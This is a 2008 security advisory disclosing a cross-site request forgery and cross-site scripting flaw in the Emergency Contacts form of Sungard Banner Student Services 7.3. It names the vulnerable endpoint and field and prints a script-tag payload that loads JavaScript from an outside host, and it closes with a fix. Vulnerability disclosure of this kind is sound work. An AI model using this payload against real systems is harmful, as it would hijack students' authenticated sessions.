CSRF/XSS in Sungard Banner

Type securityvulns
Reporter Securityvulns
Modified 2008-01-29T00:00:00



Application: Banner -- Student Services Version: 7.3 Bug: Cross-site Request Forgery, cross site scripting Exploitation: Remote, versus authenticated users Discovery Date: August 21, 2007 Notification Date: August 22, 2007 Disclosure Date: January 29, 2008

Author: Brendan M. Hickey Website: http://www.bhickey.net http://www.ch4n.org


"Banner is the world's most widely used collegiate administrative suite of student, financial aid, finance, human resources, and advancement systems." -- Sungard.com

"Banner Student fuses administrative and academic functions that make it easy to manage data while giving prospects, learners (both traditional and non-traditional), and faculty secure, 24x7, online access to the information they need. Prospects can apply for admissions. Learners can search and register for classes by term or date, and retrieve financial aid data. Faculty can easily manage course information, rosters, and grading, and advise students."

-- Banner Student product information (http://www.sungardhe.com/Products/Product.aspx?id=1024)

University students interact with 'Banner Student Services' through a web interface. Tasks are performed by making POST requests to fixed URLs. A cross-site script attack facilitated by cross-site request forgery was discovered in the "Emergency Contacts" section of the service.


A student may update her emergency contacts through a web form. Each form field is checked for length, the longest accepting 30 characters, but not content. An attacker can inject arbitrary javascript code into an user's session by luring authenticated Banner users to a website that makes a POST request to the update contacts script.

The script necessary to update the emergency contacts is located at: http://BANNERDOMAIN/ss/bwgkoemr.P_UpdateEmrgContacts

Setting the address field (add1) to

<script src=http://ch4n.org/s>

is necessary to include malicious javascript. Other form variables must be set, this can be seen in the example code.




The vulnerability was disclosed to Sungard on August 22, 2007.


This vulnerability can be remedied by requiring a magic number to accompany POST requests.